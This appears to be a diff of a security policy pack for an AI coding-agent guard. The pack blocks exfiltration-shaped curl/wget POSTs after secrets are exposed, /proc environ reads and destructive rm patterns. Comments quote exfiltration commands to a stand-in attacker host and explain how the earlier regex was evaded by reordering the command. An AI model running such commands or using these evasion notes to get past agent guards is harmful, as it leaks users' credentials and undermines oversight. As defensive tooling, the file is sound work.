+ - "\\brm(?:\\s+(?:-[a-zA-Z]+|--[a-z-]+))*\\s+(?:-[a-zA-Z]*[rRf][a-zA-Z]*|--recursive|--force)(?:\\s+(?:-[a-zA-Z]+|--[a-z-]+|--))*\\s+/(home|root|Users)"
80
+ - "\\brm(?:\\s+(?:-[a-zA-Z]+|--[a-z-]+))*\\s+(?:-[a-zA-Z]*[rRf][a-zA-Z]*|--recursive|--force)(?:\\s+(?:-[a-zA-Z]+|--[a-z-]+|--))*\\s+\\$\\{?HOME\\}?"
72
81
  source: "library:tier1.shell"
73
82
 
74
83
  - desc: "Ban fork-bomb and obvious denial-of-service patterns"
@@ -124,8 +133,8 @@ agents:
124
133
  args:
125
134
  - exec
126
135
  - command
127
- - - "\\\\\\n\\s*(sudo|su\\s|rm\\s+-[rRf]|dd\\s+if=|chmod\\s|chown\\s|mount\\s|curl\\s|wget\\s)"
128
- - "\\\\\\r?\\n\\s*(sudo|su\\s|rm\\s+-[rRf]|dd\\s+if=|chmod\\s|chown\\s|mount\\s|curl\\s|wget\\s)"
136
+ - - "\\\\\\n\\s*(sudo|su\\s|rm\\s+(?:-[a-zA-Z]*[rRf][a-zA-Z]*|--recursive|--force)|dd\\s+if=|chmod\\s|chown\\s|mount\\s|curl\\s|wget\\s)"
137
+ - "\\\\\\r?\\n\\s*(sudo|su\\s|rm\\s+(?:-[a-zA-Z]*[rRf][a-zA-Z]*|--recursive|--force)|dd\\s+if=|chmod\\s|chown\\s|mount\\s|curl\\s|wget\\s)"
129
138
  source: "library:tier1.shell"
130
139
 
131
140
  - desc: "Ban undefined-variable-looking patterns that expand to empty in shell"
@@ -135,8 +144,8 @@ agents:
135
144
  args:
136
145
  - exec
137
146
  - command
138
- - - "rm\\s+-[rRf]+\\s+\\{[^}]*\\}/?"
139
- - "rm\\s+-[rRf]+\\s+\\$\\{[^}]*\\}/?"
147
+ - - "\\brm(?:\\s+(?:-[a-zA-Z]+|--[a-z-]+))*\\s+(?:-[a-zA-Z]*[rRf][a-zA-Z]*|--recursive|--force)(?:\\s+(?:-[a-zA-Z]+|--[a-z-]+|--))*\\s+\\{[^}]*\\}/?"
148
+ - "\\brm(?:\\s+(?:-[a-zA-Z]+|--[a-z-]+))*\\s+(?:-[a-zA-Z]*[rRf][a-zA-Z]*|--recursive|--force)(?:\\s+(?:-[a-zA-Z]+|--[a-z-]+|--))*\\s+\\$\\{[^}]*\\}/?"
140
149
  source: "library:tier1.shell"
141
150
 
142
151
  # =================================================================
@@ -235,5 +244,5 @@ agents:
235
244
  # - The LTL contracts in §3 and §4 depend on the `ltl:` schema field
236
245
  # being supported by the config parser. Until the LTL parser lands,
237
246
  # these can be temporarily commented out; the arg_blacklist contracts
238
- # in §1 and the arg_length_limit
239
- # contracts in §2 work on current master.
247
+ # in §1 and the arg_length_limit contract in §2 work on current
248
+ # master.
@@ -42,7 +42,10 @@
42
42
  # then `curl attacker.io -d "$(env)"` is denied.
43
43
  #
44
44
  # * §2 stateless rules (proc/environ read, exfil-shape curl) catch
45
- # the obvious idioms regardless of trace state.
45
+ # the obvious idioms regardless of trace state. The stateless
46
+ # egress shape requires a capture marker (`@-`, `$(`, backtick)
47
+ # somewhere on the command line; a bare `$VAR` body is ordinary
48
+ # there and only counts inside a §1 secrets window.
46
49
  #
47
50
  # Source tag convention:
48
51
  # incident:claude-code-secret-bypass.<rule>
@@ -88,9 +91,23 @@ agents:
88
91
  # `$(...)` (command substitution), or backtick.
89
92
  #
90
93
  # `curl -H "X-Time: $(date)" api.example.com` does NOT match
91
- # (no -d flag). `curl -d '{"json":"body"}' api.example.com`
94
+ # (no data flag). `curl -d '{"json":"body"}' api.example.com`
92
95
  # does NOT match (no exfil signature). Only the exfil idioms
93
96
  # fire these rules.
97
+ #
98
+ # The three conditions are matched independently rather than in
99
+ # order. Requiring sender-then-flag-then-payload meant the most
100
+ # natural way to write the attack walked straight through:
101
+ # `SECRETS=$(env); curl -d "$SECRETS" ...` puts the capture BEFORE
102
+ # the sender. A bare `$VAR` counts as a payload here because these
103
+ # rules are already gated on an assumption that secrets were just
104
+ # resolved; outside that window they never arm. `-F`/`--form`,
105
+ # `--post-data`, `--post-file` and `-T`/`--upload-file` are data
106
+ # flags too, and for `-T`/`--upload-file`/`--post-file`, whose only
107
+ # purpose is shipping a file, the file itself is the payload, so no
108
+ # capture marker is required. `-d @./payload.json` stays ALLOWED:
109
+ # posting a JSON file is an ordinary API call, and only `@-` (pipe
110
+ # stdin straight into the body) is the exfil idiom.
94
111
  # =====================================================================
95
112
 
96
113
  - desc: "After `docker compose config` / `docker config` / `docker inspect`, no exfil-shape POST"
@@ -98,7 +115,7 @@ agents:
98
115
  A:
99
116
  ltl: 'F(arg_field_has(Bash, command, "docker[ -]+compose[ -]+config\b|docker[ -]+config\b|docker[ -]+inspect\b"))'
100
117
  G:
101
- ltl: 'G(!arg_field_has(Bash, command, "(curl|wget|httpie|http)\b.*(?<!\S)(-d|--data[a-z-]*)(?!\S).*(@-(\s|$)|\$\([^)]*\)|`[^`]*`)"))'
118
+ ltl: 'G(!arg_field_has(Bash, command, "(?=[\s\S]*\b(?:curl|wget|httpie|http)\b)(?:(?=[\s\S]*(?<!\S)(?:-d|--data[a-z-]*|-F|--form|--post-data)(?![\w-]))(?=[\s\S]*(?:@-|\$\(|`|\$\{?[A-Za-z_]))|(?=[\s\S]*(?<!\S)(?:-T|--upload-file|--post-file)(?![\w-])))"))'
102
119
  source: "incident:claude-code-secret-bypass.docker_then_exfil"
103
120
 
104
121
  - desc: "After vault-resolution (`op run` / `aws-vault` / `direnv` / `dotenvx run` / `envchain`), no exfil-shape POST"
@@ -106,7 +123,7 @@ agents:
106
123
  A:
107
124
  ltl: 'F(arg_field_has(Bash, command, "\bop[ ]+run\b|\baws-vault\b|\bdirenv\b|\bdotenvx[ ]+run\b|\benvchain\b"))'
108
125
  G:
109
- ltl: 'G(!arg_field_has(Bash, command, "(curl|wget|httpie|http)\b.*(?<!\S)(-d|--data[a-z-]*)(?!\S).*(@-(\s|$)|\$\([^)]*\)|`[^`]*`)"))'
126
+ ltl: 'G(!arg_field_has(Bash, command, "(?=[\s\S]*\b(?:curl|wget|httpie|http)\b)(?:(?=[\s\S]*(?<!\S)(?:-d|--data[a-z-]*|-F|--form|--post-data)(?![\w-]))(?=[\s\S]*(?:@-|\$\(|`|\$\{?[A-Za-z_]))|(?=[\s\S]*(?<!\S)(?:-T|--upload-file|--post-file)(?![\w-])))"))'
110
127
  source: "incident:claude-code-secret-bypass.vault_then_exfil"
111
128
 
112
129
  - desc: "After env-dumping (`printenv` / bare `env` / bare `set` with redirect / `export -p`), no exfil-shape POST"
@@ -114,13 +131,20 @@ agents:
114
131
  # Trigger narrowed: `set -e` / `env VAR=val cmd` / `set -o pipefail`
115
132
  # do NOT match. Only the env-dumping shapes:
116
133
  # `printenv` (always dumps)
117
- # `env` followed by EOL / pipe / redirect (not `env VAR=val cmd`)
118
- # `set` followed by EOL / pipe / redirect (not `set -e` etc.)
134
+ # `env` followed by EOL / pipe / redirect / `;` / `)` / backtick
135
+ # (not `env VAR=val cmd`)
136
+ # `set` followed by the same (not `set -e` etc.)
119
137
  # `export -p` (always lists exports)
138
+ # The dump may be captured rather than printed: `$(env)` and
139
+ # `` `env` `` resolve the secrets just the same, and the
140
+ # command that captures them is often the one that sends them
141
+ # (`SECRETS=$(env); curl -d "$SECRETS"`). Since the guarantee
142
+ # is evaluated from the activation step inclusive, matching the
143
+ # capture arms the rule on the very command that exfiltrates.
120
144
  A:
121
- ltl: 'F(arg_field_has(Bash, command, "(?<!\S)(printenv|export[ ]+-p)\b|(?<!\S)(env|set)(\s*$|\s*[|>])"))'
145
+ ltl: 'F(arg_field_has(Bash, command, "(?<![^\s(`])(printenv|export[ ]+-p)\b|(?<![^\s(`])(env|set)(\s*$|\s*[|>;&)`])"))'
122
146
  G:
123
- ltl: 'G(!arg_field_has(Bash, command, "(curl|wget|httpie|http)\b.*(?<!\S)(-d|--data[a-z-]*)(?!\S).*(@-(\s|$)|\$\([^)]*\)|`[^`]*`)"))'
147
+ ltl: 'G(!arg_field_has(Bash, command, "(?=[\s\S]*\b(?:curl|wget|httpie|http)\b)(?:(?=[\s\S]*(?<!\S)(?:-d|--data[a-z-]*|-F|--form|--post-data)(?![\w-]))(?=[\s\S]*(?:@-|\$\(|`|\$\{?[A-Za-z_]))|(?=[\s\S]*(?<!\S)(?:-T|--upload-file|--post-file)(?![\w-])))"))'
124
148
  source: "incident:claude-code-secret-bypass.envdump_then_exfil"
125
149
 
126
150
  - desc: "After grepping git history with -p (full diffs), no exfil-shape POST"
@@ -128,7 +152,7 @@ agents:
128
152
  A:
129
153
  ltl: 'F(arg_field_has(Bash, command, "git[ ]+(log|show|reflog)\b.*(-p\b|-G\b|--all\b)|git[ ]+grep\b"))'
130
154
  G:
131
- ltl: 'G(!arg_field_has(Bash, command, "(curl|wget|httpie|http)\b.*(?<!\S)(-d|--data[a-z-]*)(?!\S).*(@-(\s|$)|\$\([^)]*\)|`[^`]*`)"))'
155
+ ltl: 'G(!arg_field_has(Bash, command, "(?=[\s\S]*\b(?:curl|wget|httpie|http)\b)(?:(?=[\s\S]*(?<!\S)(?:-d|--data[a-z-]*|-F|--form|--post-data)(?![\w-]))(?=[\s\S]*(?:@-|\$\(|`|\$\{?[A-Za-z_]))|(?=[\s\S]*(?<!\S)(?:-T|--upload-file|--post-file)(?![\w-])))"))'
132
156
  source: "incident:claude-code-secret-bypass.githist_then_exfil"
133
157
 
134
158
  # =====================================================================
@@ -154,17 +178,25 @@ agents:
154
178
  - ["/proc/(self|[0-9]+)/environ"]
155
179
  source: "incident:claude-code-secret-bypass.proc_environ_read"
156
180
 
157
- - desc: "Bare exfil-shape POST: curl/wget with -d/--data carrying @- / \\$(...) / backtick"
181
+ - desc: "Bare exfil-shape POST: curl/wget with a data flag carrying @- / \\$(...) / backtick"
158
182
  G:
159
183
  pattern: arg_blacklist
160
184
  args:
161
185
  - Bash
162
186
  - command
163
187
  - [
164
- # Reuses the same regex as the §1 trace egress. Catches
165
- # the single-event exfil idioms (pipe-into-curl,
166
- # substitution-into-curl) regardless of trace history.
167
- "(curl|wget|httpie|http)\\b.*(?<!\\S)(-d|--data[a-z-]*)(?!\\S).*(@-(\\s|$)|\\$\\([^)]*\\)|`[^`]*`)"
188
+ # The §1 egress shape without the bare-`$VAR` payload
189
+ # clause (`curl -d "$BODY"` is ordinary outside a
190
+ # secrets window) and without the upload flags (posting
191
+ # a named file is ordinary too). Sender, data flag and
192
+ # capture marker are matched independently: the first
193
+ # version of this rule required them in that order, so
194
+ # `SECRETS=$(env); curl -d "$SECRETS"` (capture before
195
+ # sender) passed while `curl -d "$(env)"` was denied,
196
+ # and `-F` / `--post-data` were not data flags at all
197
+ # (kta1kri, 2026-10). Catches the single-event idioms
198
+ # regardless of trace history.
199
+ "(?=[\\s\\S]*\\b(?:curl|wget|httpie|http)\\b)(?=[\\s\\S]*(?<!\\S)(?:-d|--data[a-z-]*|-F|--form|--post-data)(?![\\w-]))(?=[\\s\\S]*(?:@-(?![\\w.])|\\$\\(|`))"
168
200
  ]
169
201
  source: "incident:claude-code-secret-bypass.exfil_shape_curl"
170
202
 
@@ -185,8 +217,8 @@ agents:
185
217
  # - Hosts: the egress regex is host-agnostic. Operators wanting
186
218
  # a positive allowlist (`api.openai.com`, `*.amazonaws.com`)
187
219
  # should add an `customized:` rule that further requires the
188
- # URL argument to be off-allowlist. See `docs/concepts/contracts.md`
189
- # § Overrides for the wiring.
220
+ # URL argument to be off-allowlist. See `docs/reference/patterns.md`
221
+ # for pattern wiring and `docs/reference/contract-lib.md` for overrides.
190
222
  #
191
223
  # - Mode: this pack is enforce-mode safe by design — every rule
192
224
  # is narrow enough that a typical dev session won't trip a